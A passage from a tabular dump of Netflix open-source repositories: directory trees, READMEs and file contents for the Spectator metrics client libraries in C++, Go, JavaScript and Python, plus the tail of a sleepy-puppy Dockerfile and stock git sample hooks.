Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nFROM ubuntu:14.04\nMAINTAINER Netflix Open Source Development <[email protected]>\n\nRUN apt-get update && apt-get -y -q install python-software-properties software-properties-common postgresql-9.3 postgresql-client-9.3 postgresql-contrib-9.3 && apt-get install -y curl python-dev python-pip git sudo && apt-get -y -q install python-psycopg2 libpq-dev libffi-dev\n\nRUN cd /usr/local/src &&\\\n git clone --depth 1 -b 0.2.2b --branch master https://github.com/Netflix/sleepy-puppy.git &&\\\n cd sleepy-puppy &&\\\n python setup.py install\n\nADD api-start.sh /usr/local/src/sleepy-puppy/scripts/api-start.sh\nRUN chmod +x /usr/local/src/sleepy-puppy/scripts/api-start.sh\n\nENTRYPOINT [\"/usr/local/src/sleepy-puppy/scripts/api-start.sh\"]\n"} | null |
spectator-cpp | {"type": "directory", "name": "spectator-cpp", "children": [{"type": "file", "name": ".clang-format"}, {"type": "file", "name": "build.sh"}, {"type": "file", "name": "CMakeLists.txt"}, {"type": "file", "name": "conanfile.py"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "requirements.txt"}, {"type": "file", "name": "sanitized"}, {"type": "file", "name": "setup-venv.sh"}, {"type": "directory", "name": "spectator", "children": [{"type": "file", "name": "age_gauge_test.cc"}, {"type": "file", "name": "config.h"}, {"type": "file", "name": "counter_test.cc"}, {"type": "file", "name": "dist_summary_test.cc"}, {"type": "file", "name": "gauge_test.cc"}, {"type": "file", "name": "id.h"}, {"type": "file", "name": "id_test.cc"}, {"type": "file", "name": "logger.cc"}, {"type": "file", "name": "logger.h"}, {"type": "file", "name": "log_entry.h"}, {"type": "file", "name": "max_gauge_test.cc"}, {"type": "file", "name": "measurement.h"}, {"type": "file", "name": "meter_type.h"}, {"type": "file", "name": "monotonic_counter_test.cc"}, {"type": "file", "name": "monotonic_counter_uint_test.cc"}, {"type": "file", "name": "perc_dist_summary_test.cc"}, {"type": "file", "name": "perc_timer_test.cc"}, {"type": "file", "name": "publisher.cc"}, {"type": "file", "name": "publisher.h"}, {"type": "file", "name": "publisher_test.cc"}, {"type": "file", "name": "registry.h"}, {"type": "file", "name": "stateful_meters.h"}, {"type": "file", "name": "stateful_test.cc"}, {"type": "file", "name": "statelessregistry_test.cc"}, {"type": "file", "name": "stateless_meters.h"}, {"type": "file", "name": "test_main.cc"}, {"type": "file", "name": "test_publisher.h"}, {"type": "file", "name": "test_server.h"}, {"type": "file", "name": "timer_test.cc"}, {"type": "file", "name": "util.h"}]}, {"type": "directory", "name": "tools", "children": [{"type": "file", "name": "gen_valid_chars.cc"}]}]} | [![Build](https://github.com/Netflix/spectator-cpp/actions/workflows/build.yml/badge.svg)](https://github.com/Netflix/spectator-cpp/actions/workflows/build.yml)
# Spectator-cpp
This implements a basic [Spectator](https://github.com/Netflix/spectator) library for instrumenting Go applications. It
consists of a thin client designed to send metrics through [spectatord](https://github.com/Netflix-Skunkworks/spectatord).
## Instrumenting Code
```C++
#include <spectator/registry.h>
// use default values
static constexpr auto kDefault = 0;
struct Request {
std::string country;
};
struct Response {
int status;
int size;
};
class Server {
public:
explicit Server(spectator::Registry* registry)
: registry_{registry},
request_count_id_{registry->CreateId("server.requestCount", spectator::Tags{})},
request_latency_{registry->GetTimer("server.requestLatency")},
response_size_{registry->GetDistributionSummary("server.responseSizes")} {}
Response Handle(const Request& request) {
auto start = std::chrono::steady_clock::now();
// do some work and obtain a response...
Response res{200, 64};
// Update the Counter id with dimensions, based on information in the request. The Counter
// will be looked up in the Registry, which is a fairly cheap operation, about the same as
// the lookup of an id object in a map. However, it is more expensive than having a local
// variable set to the Counter.
auto cnt_id = request_count_id_
->WithTag("country", request.country)
->WithTag("status", std::to_string(res.status));
registry_->GetCounter(std::move(cnt_id))->Increment();
request_latency_->Record(std::chrono::steady_clock::now() - start);
response_size_->Record(res.size);
return res;
}
private:
spectator::Registry* registry_;
std::shared_ptr<spectator::Id> request_count_id_;
std::shared_ptr<spectator::Timer> request_latency_;
std::shared_ptr<spectator::DistributionSummary> response_size_;
};
Request get_next_request() {
return Request{"US"};
}
int main() {
auto logger = spdlog::stdout_color_mt("console");
std::unordered_map<std::string, std::string> common_tags{{"xatlas.process", "some-sidecar"}};
spectator::Config cfg{"unix:/run/spectatord/spectatord.unix", common_tags};
spectator::Registry registry{std::move(cfg), logger);
Server server{®istry};
for (auto i = 1; i <= 3; ++i) {
// get a request
auto req = get_next_request();
server.Handle(req);
}
}
```
## High-Volume Publishing
By default, the library sends every meter change to the spectatord sidecar immediately. This involves a blocking
`send` call and underlying system calls, and may not be the most efficient way to publish metrics in high-volume
use cases. For this purpose a simple buffering functionality in `Publisher` is implemented, and it can be turned
on by passing a buffer size to the `spectator::Config` constructor. It is important to note that, until this buffer
fills up, the `Publisher` will not send nay meters to the sidecar. Therefore, if your application doesn't emit
meters at a high rate, you should either keep the buffer very small, or do not configure a buffer size at all,
which will fall back to the "publish immediately" mode of operation.
## Local Development
```shell
# setup python venv and activate, to gain access to conan cli
./setup-venv.sh
source venv/bin/activate
# link clion default build directory to our build directory
ln -s cmake-build cmake-build-debug
./build.sh # [clean|clean --force|skiptest]
```
* CLion > Preferences > Plugins > Marketplace > Conan > Install
* CLion > Preferences > Build, Execution, Deploy > Conan > Conan Executable: $PROJECT_HOME/venv/bin/conan
| {"requirements.txt": "conan==1.64.1\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 8b9d4098a2b520660bcab56e482b217d78c99c41 Hamza Amin <[email protected]> 1728221588 +0500\tclone: from https://github.com/Netflix/spectator-cpp.git\n", ".git\\refs\\heads\\main": "8b9d4098a2b520660bcab56e482b217d78c99c41\n", "spectator\\test_main.cc": "#include \"backward.hpp\"\n#include <gtest/gtest.h>\n\nint main(int argc, char** argv) {\n ::testing::InitGoogleTest(&argc, argv);\n backward::SignalHandling sh;\n return RUN_ALL_TESTS();\n}\n"} | null |
spectator-go | {"type": "directory", "name": "spectator-go", "children": [{"type": "file", "name": ".golangci.yml"}, {"type": "file", "name": "go.mod"}, {"type": "file", "name": "go.sum"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "spectator", "children": [{"type": "file", "name": "common_tags.go"}, {"type": "file", "name": "common_tags_test.go"}, {"type": "file", "name": "config.go"}, {"type": "file", "name": "config_test.go"}, {"type": "directory", "name": "logger", "children": [{"type": "file", "name": "logger.go"}]}, {"type": "directory", "name": "meter", "children": [{"type": "file", "name": "age_gauge.go"}, {"type": "file", "name": "age_gauge_test.go"}, {"type": "file", "name": "counter.go"}, {"type": "file", "name": "counter_test.go"}, {"type": "file", "name": "dist_summary.go"}, {"type": "file", "name": "dist_summary_test.go"}, {"type": "file", "name": "gauge.go"}, {"type": "file", "name": "gauge_test.go"}, {"type": "file", "name": "id.go"}, {"type": "file", "name": "id_test.go"}, {"type": "file", "name": "max_gauge.go"}, {"type": "file", "name": "max_gauge_test.go"}, {"type": "file", "name": "monotonic_counter.go"}, {"type": "file", "name": "monotonic_counter_test.go"}, {"type": "file", "name": "monotonic_counter_uint.go"}, {"type": "file", "name": "monotonic_counter_uint_test.go"}, {"type": "file", "name": "percentile_distsummary.go"}, {"type": "file", "name": "percentile_distsummary_test.go"}, {"type": "file", "name": "percentile_timer.go"}, {"type": "file", "name": "percentile_timer_test.go"}, {"type": "file", "name": "timer.go"}, {"type": "file", "name": "timer_test.go"}]}, {"type": "file", "name": "protocol_parser.go"}, {"type": "file", "name": "protocol_parser_test.go"}, {"type": "file", "name": "registry.go"}, {"type": "file", "name": "registry_test.go"}, {"type": "directory", "name": "writer", "children": [{"type": "file", "name": "file_writer.go"}, {"type": "file", "name": "file_writer_test.go"}, {"type": "file", "name": "udp_writer.go"}, {"type": "file", "name": "udp_writer_test.go"}, {"type": "file", "name": "unixgram_writer.go"}, {"type": "file", "name": "unixgram_writer_test.go"}, {"type": "file", "name": "writer.go"}, {"type": "file", "name": "writer_test.go"}]}]}]} | [![Snapshot](https://github.com/Netflix/spectator-go/actions/workflows/snapshot.yml/badge.svg)](https://github.com/Netflix/spectator-go/actions/workflows/snapshot.yml)
[![Release](https://github.com/Netflix/spectator-go/actions/workflows/release.yml/badge.svg)](https://github.com/Netflix/spectator-go/actions/workflows/release.yml)
[![Go Reference](https://pkg.go.dev/badge/github.com/Netflix/spectator-go.svg)](https://pkg.go.dev/github.com/Netflix/spectator-go)
## Spectator-go
Go thin-client metrics library for use with [Atlas] and [SpectatorD].
See the [Atlas Documentation] site for more details on `spectator-go`.
[Atlas]: https://netflix.github.io/atlas-docs/overview/
[SpectatorD]: https://netflix.github.io/atlas-docs/spectator/agent/usage/
[Atlas Documentation]: https://netflix.github.io/atlas-docs/spectator/lang/go/usage/
## Local Development
Install a recent version of Go, possibly with [Homebrew](https://brew.sh/).
```shell
make test
make test/cover
```
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 d878a70fdf016827c4c9c37294caaf387c7fa12c Hamza Amin <[email protected]> 1728221601 +0500\tclone: from https://github.com/Netflix/spectator-go.git\n", ".git\\refs\\heads\\main": "d878a70fdf016827c4c9c37294caaf387c7fa12c\n"} | null |
spectator-go-runtime-metrics | {"type": "directory", "name": "spectator-go-runtime-metrics", "children": [{"type": "file", "name": ".golangci.yml"}, {"type": "file", "name": "go.mod"}, {"type": "file", "name": "go.sum"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "runmetrics", "children": [{"type": "file", "name": "clock.go"}, {"type": "file", "name": "fd_linux.go"}, {"type": "file", "name": "fd_noop.go"}, {"type": "file", "name": "memstats.go"}, {"type": "file", "name": "memstats_test.go"}, {"type": "file", "name": "runtime.go"}]}]} | [![Go Reference](https://pkg.go.dev/badge/github.com/Netflix/spectator-go.svg)](https://pkg.go.dev/github.com/Netflix/spectator-go-runtime-metrics)
[![Snapshot](https://github.com/Netflix/spectator-go/actions/workflows/snapshot.yml/badge.svg)](https://github.com/Netflix/spectator-go-runtime-metrics/actions/workflows/snapshot.yml)
[![Release](https://github.com/Netflix/spectator-go/actions/workflows/release.yml/badge.svg)](https://github.com/Netflix/spectator-go-runtime-metrics/actions/workflows/release.yml)
# Spectator-go Runtime Metrics
Library to collect runtime metrics for Golang applications using [spectator-go](https://github.com/Netflix/spectator-go).
## Instrumenting Code
```go
package main
import (
"github.com/Netflix/spectator-go-runtime-metrics/runmetrics"
"github.com/Netflix/spectator-go/v2/spectator"
)
func main() {
config, _ := spectator.NewConfig("", nil, nil)
registry, _ := spectator.NewRegistry(config)
defer registry.Close()
runmetrics.CollectRuntimeMetrics(registry)
}
```
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 26f86455db34054781638bfd7ecb0c0bb7b4ba96 Hamza Amin <[email protected]> 1728221605 +0500\tclone: from https://github.com/Netflix/spectator-go-runtime-metrics.git\n", ".git\\refs\\heads\\main": "26f86455db34054781638bfd7ecb0c0bb7b4ba96\n"} | null |
spectator-js | {"type": "directory", "name": "spectator-js", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".jscsrc"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "RELEASE_PROCESS.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "bucket_counter.js"}, {"type": "file", "name": "bucket_dist_summary.js"}, {"type": "file", "name": "bucket_functions.js"}, {"type": "file", "name": "bucket_timer.js"}, {"type": "file", "name": "counter.js"}, {"type": "file", "name": "dist_summary.js"}, {"type": "file", "name": "gauge.js"}, {"type": "file", "name": "http.js"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "interval_counter.js"}, {"type": "file", "name": "logger.js"}, {"type": "file", "name": "log_entry.js"}, {"type": "file", "name": "long_task_timer.js"}, {"type": "file", "name": "meter_id.js"}, {"type": "file", "name": "nop_registry.js"}, {"type": "file", "name": "percentile_buckets.js"}, {"type": "file", "name": "percentile_dist_summary.js"}, {"type": "file", "name": "percentile_timer.js"}, {"type": "file", "name": "polled_meter.js"}, {"type": "file", "name": "publisher.js"}, {"type": "file", "name": "registry.js"}, {"type": "file", "name": "timer.js"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "api.test.js"}, {"type": "file", "name": "bucket_counter.test.js"}, {"type": "file", "name": "bucket_dist_summary.test.js"}, {"type": "file", "name": "bucket_functions.test.js"}, {"type": "file", "name": "bucket_timer.test.js"}, {"type": "file", "name": "counter.test.js"}, {"type": "file", "name": "dist_summary.test.js"}, {"type": "file", "name": "gauge.test.js"}, {"type": "file", "name": "http.test.js"}, {"type": "file", "name": "interval_counter.test.js"}, {"type": "file", "name": "logger.test.js"}, {"type": "file", "name": "long_task_timer.test.js"}, {"type": "file", "name": "meter_id.test.js"}, {"type": "file", "name": "percentile_buckets.test.js"}, {"type": "file", "name": "percentile_dist_summary.test.js"}, {"type": "file", "name": "percentile_timer.test.js"}, {"type": "file", "name": "polled_meter.test.js"}, {"type": "file", "name": "publisher.test.js"}, {"type": "file", "name": "registry.test.js"}, {"type": "file", "name": "timer.test.js"}]}, {"type": "directory", "name": "test-d", "children": [{"type": "file", "name": "index.test-d.ts"}]}, {"type": "directory", "name": "types", "children": [{"type": "file", "name": "bucket_counter.d.ts"}, {"type": "file", "name": "bucket_dist_summary.d.ts"}, {"type": "file", "name": "bucket_functions.d.ts"}, {"type": "file", "name": "bucket_timer.d.ts"}, {"type": "file", "name": "counter.d.ts"}, {"type": "file", "name": "dist_summary.d.ts"}, {"type": "file", "name": "gauge.d.ts"}, {"type": "file", "name": "global.d.ts"}, {"type": "file", "name": "index.d.ts"}, {"type": "file", "name": "interval_counter.d.ts"}, {"type": "file", "name": "long_task_timer.d.ts"}, {"type": "file", "name": "meter_id.d.ts"}, {"type": "file", "name": "percentile_dist_summary.d.ts"}, {"type": "file", "name": "percentile_timer.d.ts"}, {"type": "file", "name": "polled_meter.d.ts"}, {"type": "file", "name": "registry.d.ts"}, {"type": "file", "name": "timer.d.ts"}]}]} | [![Snapshot](https://github.com/Netflix/spectator-js/actions/workflows/snapshot.yml/badge.svg)](https://github.com/Netflix/spectator-js/actions/workflows/snapshot.yml)
[![Release](https://github.com/Netflix/spectator-js/actions/workflows/release.yml/badge.svg)](https://github.com/Netflix/spectator-js/actions/workflows/release.yml)
# Spectator-js
Client library for instrumenting applications using a dimensional data model.
## Description
This module can be used to instrument an application using timers, gauges,
counters, distribution summaries, long task timers, and more complex meter
types (like bucket or percentile timers) using a dimensional data model.
The generated metrics are periodically sent to an
[Atlas](https://github.com/Netflix/atlas) Aggregator.
To add Node.js runtime metrics, couple this module with the
[Spectator Nodemetrics](https://github.com/Netflix-Skunkworks/spectator-js-nodejsmetrics)
module.
## Instrumenting Code
```javascript
'use strict';
const spectator = require('nflx-spectator');
// Netflix applications can use the spectator configuration node module available
// internally through artifactory to generate the config required by nflx-spectator
function getConfig() {
return {
commonTags: {'nf.node': 'i-1234'},
uri: 'http://atlas.example.org/v1/publish',
timeout: 1000 // milliseconds
}
}
class Response {
constructor(status, size) {
this.status = status;
this.size = size;
}
}
class Server {
constructor(registry) {
this.registry = registry;
// create a base Id, to which we'll add some dynamic tags later
this.requestCountId = registry.createId('server.requestCount', {version: 'v1'});
this.requestLatency = registry.timer('server.requestLatency');
this.responseSize = registry.distributionSummary('server.responseSizes');
}
handle(request) {
const start = this.registry.hrtime();
// do some work based on request and obtain a response
const res = new Response(200, 64);
// update the counter id with dimensions based on the request. The
// counter will then be looked up in the registry which should be
// fairly cheap, such as a lookup of an id object in a map
// However, it is more expensive than having a local variable set
// to the counter
const counterId = this.requestCountId.withTags({country: request.country,
status: res.status});
this.registry.counter(counterId).increment();
this.requestLatency.record(this.registry.hrtime(start));
this.responseSize.record(res.size);
return res;
}
}
const config = getConfig();
const registry = new spectator.Registry(config);
class Request {
constructor(country) {
this.country = country;
}
}
// somehow get a request from the user...
function getNextRequest() {
return new Request('AR');
}
function handleTermination() {
registry.stop();
}
process.on('SIGINT', handleTermination);
process.on('SIGTERM', handleTermination);
registry.start();
const server = new Server(registry);
for (let i = 0; i < 3; ++i) {
const req = getNextRequest();
server.handle(req)
}
registry.stop();
```
| {"package.json": "{\n \"name\": \"nflx-spectator\",\n \"version\": \"2.0.1\",\n \"author\": \"Matthew Johnson <[email protected]>\",\n \"main\": \"src/index.js\",\n \"types\": \"src/index.d.ts\",\n \"homepage\": \"https://github.org/Netflix/spectator-js\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"ssh://[email protected]:Netflix/spectator-js.git\"\n },\n \"engines\": {\n \"node\": \">6.4.0\"\n },\n \"license\": \"Apache-2.0\",\n \"devDependencies\": {\n \"body-parser\": \"^1.20.2\",\n \"chai\": \"^4.3.7\",\n \"coveralls\": \"^3.1.0\",\n \"eslint\": \"^8.41.0\",\n \"express\": \"^4.18.2\",\n \"jscs\": \"^3.0.7\",\n \"mocha\": \"^10.2.0\",\n \"nyc\": \"^15.1.0\",\n \"tsd\": \"^0.28.1\"\n },\n \"scripts\": {\n \"clean\": \"rm -f ./src/*.d.ts\",\n \"copy\": \"cp -rf ./types/* ./src\",\n \"prepare\": \"npm run clean && npm run copy\",\n \"test\": \"npm run test:unit && npm run test:types\",\n \"test:types\": \"npm run clean && npm run copy && tsd\",\n \"test:unit\": \"mocha --reporter spec\",\n \"cover\": \"node_modules/.bin/nyc node_modules/mocha/bin/_mocha test/*\",\n \"lint\": \"eslint src/*.js test/*.js\"\n },\n \"files\": [\n \"src/*\",\n \"src/index.d.ts\"\n ],\n \"tsd\": {\n \"directory\": \"test-d\",\n \"compilerOptions\": {\n \"esModuleInterop\": true\n }\n },\n \"dependencies\": {\n \"async\": \"^3.1.1\",\n \"needle\": \"^3.2.0\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 68f2393391b4f9eec501478f24c99b516f6b1097 Hamza Amin <[email protected]> 1728221626 +0500\tclone: from https://github.com/Netflix/spectator-js.git\n", ".git\\refs\\heads\\main": "68f2393391b4f9eec501478f24c99b516f6b1097\n", "src\\index.js": "'use strict';\n\nconst AtlasRegistry = require('./registry');\nconst PolledMeter = require('./polled_meter');\nconst PercentileTimer = require('./percentile_timer');\nconst PercentileDistributionSummary = require('./percentile_dist_summary');\nconst BucketFunctions = require('./bucket_functions');\nconst BucketCounter = require('./bucket_counter');\nconst BucketDistributionSummary = require('./bucket_dist_summary');\nconst BucketTimer = require('./bucket_timer');\nconst IntervalCounter = require('./interval_counter');\nconst LongTaskTimer = require('./long_task_timer');\n\nmodule.exports = {\n Registry: AtlasRegistry,\n PolledMeter: PolledMeter,\n PercentileTimer: PercentileTimer,\n PercentileDistributionSummary: PercentileDistributionSummary,\n BucketFunctions: BucketFunctions,\n BucketCounter: BucketCounter,\n BucketDistributionSummary: BucketDistributionSummary,\n BucketTimer: BucketTimer,\n IntervalCounter: IntervalCounter,\n LongTaskTimer: LongTaskTimer\n};\n", "test-d\\index.test-d.ts": "import { expectDeprecated, expectError, expectType } from 'tsd';\nimport { Registry } from '../';\nimport Counter from '../types/counter';\nimport DistributionSummary from '../types/dist_summary';\nimport MeterId from '../types/meter_id';\nimport Gauge from '../types/gauge';\nimport Timer from '../types/timer';\nimport { Measurement } from '../types/global';\n\n// Main Registry\nexpectType<Registry>(new Registry());\n// Allow empty object also\nconst registry = new Registry({});\nexpectType<Registry>(registry);\n\n// Counter\nexpectType<Counter>(registry.counter('id', { tag: 'tag' }));\nexpectDeprecated(registry.dcounter('id', { tag: 'tag' }));\n\n// MeterId\nexpectType<MeterId>(registry.createId('id', { tag: 'tag' }));\n\n// Distribution Summary\nexpectType<DistributionSummary>(\n registry.distributionSummary('id', { tag: 'tag' })\n);\nexpectDeprecated(registry.distSummary('id', { tag: 'tag' }));\n\n// Gauge\nexpectType<Gauge>(registry.gauge('id', { tag: 'tag' }));\n\n// Timer\nexpectType<Timer>(registry.timer('id', { tag: 'tag' }));\n\n// Start/Stop\nexpectType<void>(registry.start());\nexpectType<void>(registry.stop());\n\n// Measurements\nexpectType<Measurement[]>(registry.measurements());\n\n// Meters\nexpectType<(Counter | DistributionSummary | Gauge | Timer)[]>(\n registry.meters()\n);\n", "types\\index.d.ts": "export import Registry = require('./registry');\nexport import PolledMeter = require('./polled_meter');\nexport import PercentileTimer = require('./percentile_timer');\nexport import PercentileDistributionSummary = require('./percentile_dist_summary');\nexport { BucketFunctions } from './bucket_functions';\n\nexport import BucketCounter = require('./bucket_counter');\nexport import BucketDistributionSummary = require('./bucket_dist_summary');\nexport import BucketTimer = require('./bucket_timer');\nexport import IntervalCounter = require('./interval_counter');\nexport import LongTaskTimer = require('./long_task_timer');\n"} | null |
spectator-py | {"type": "directory", "name": "spectator-py", "children": [{"type": "file", "name": ".pylintrc-relaxed"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "MANIFEST.in"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "RELEASE_PROCESS.md"}, {"type": "file", "name": "setup.cfg"}, {"type": "file", "name": "setup.py"}, {"type": "directory", "name": "spectator", "children": [{"type": "file", "name": "clock.py"}, {"type": "file", "name": "common_tags.py"}, {"type": "file", "name": "config.py"}, {"type": "directory", "name": "meter", "children": [{"type": "file", "name": "age_gauge.py"}, {"type": "file", "name": "counter.py"}, {"type": "file", "name": "dist_summary.py"}, {"type": "file", "name": "gauge.py"}, {"type": "file", "name": "max_gauge.py"}, {"type": "file", "name": "meter_id.py"}, {"type": "file", "name": "monotonic_counter.py"}, {"type": "file", "name": "monotonic_counter_uint.py"}, {"type": "file", "name": "percentile_dist_summary.py"}, {"type": "file", "name": "percentile_timer.py"}, {"type": "file", "name": "timer.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "protocol_parser.py"}, {"type": "file", "name": "registry.py"}, {"type": "file", "name": "stopwatch.py"}, {"type": "directory", "name": "writer", "children": [{"type": "file", "name": "file_writer.py"}, {"type": "file", "name": "memory_writer.py"}, {"type": "file", "name": "new_writer.py"}, {"type": "file", "name": "noop_writer.py"}, {"type": "file", "name": "udp_writer.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "meter", "children": [{"type": "file", "name": "test_age_gauge.py"}, {"type": "file", "name": "test_counter.py"}, {"type": "file", "name": "test_dist_summary.py"}, {"type": "file", "name": "test_gauge.py"}, {"type": "file", "name": "test_max_gauge.py"}, {"type": "file", "name": "test_meter_id.py"}, {"type": "file", "name": "test_monotonic_counter.py"}, {"type": "file", "name": "test_monotonic_counter_uint.py"}, {"type": "file", "name": "test_percentile_dist_summary.py"}, {"type": "file", "name": "test_percentile_timer.py"}, {"type": "file", "name": "test_timer.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "test_clock.py"}, {"type": "file", "name": "test_common_tags.py"}, {"type": "file", "name": "test_config.py"}, {"type": "file", "name": "test_global_registry.py"}, {"type": "file", "name": "test_protocol_parser.py"}, {"type": "file", "name": "test_registry.py"}, {"type": "file", "name": "test_stopwatch.py"}, {"type": "file", "name": "udp_server.py"}, {"type": "directory", "name": "writer", "children": [{"type": "file", "name": "test_file_writer.py"}, {"type": "file", "name": "test_memory_writer.py"}, {"type": "file", "name": "test_noop_writer.py"}, {"type": "file", "name": "test_udp_writer.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "__init__.py"}]}]} | [![Snapshot](https://github.com/Netflix/spectator-py/actions/workflows/snapshot.yml/badge.svg)](https://github.com/Netflix/spectator-py/actions/workflows/snapshot.yml) [![PyPI version](https://badge.fury.io/py/netflix-spectator-py.svg)](https://badge.fury.io/py/netflix-spectator-py)
## Spectator-py
Python thin-client metrics library for use with [Atlas] and [SpectatorD].
See the [Atlas Documentation] site for more details on `spectator-py`.
[Atlas]: https://netflix.github.io/atlas-docs/overview/
[SpectatorD]: https://netflix.github.io/atlas-docs/spectator/agent/usage/
[Atlas Documentation]: https://netflix.github.io/atlas-docs/spectator/lang/py/usage/
## Local Development
Install [pyenv](https://github.com/pyenv/pyenv), possibly with [Homebrew](https://brew.sh/), and
install a recent Python version.
```shell
make setup-venv
make test
make coverage
```
| {"setup.py": "from setuptools import setup\n\nsetup()\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" 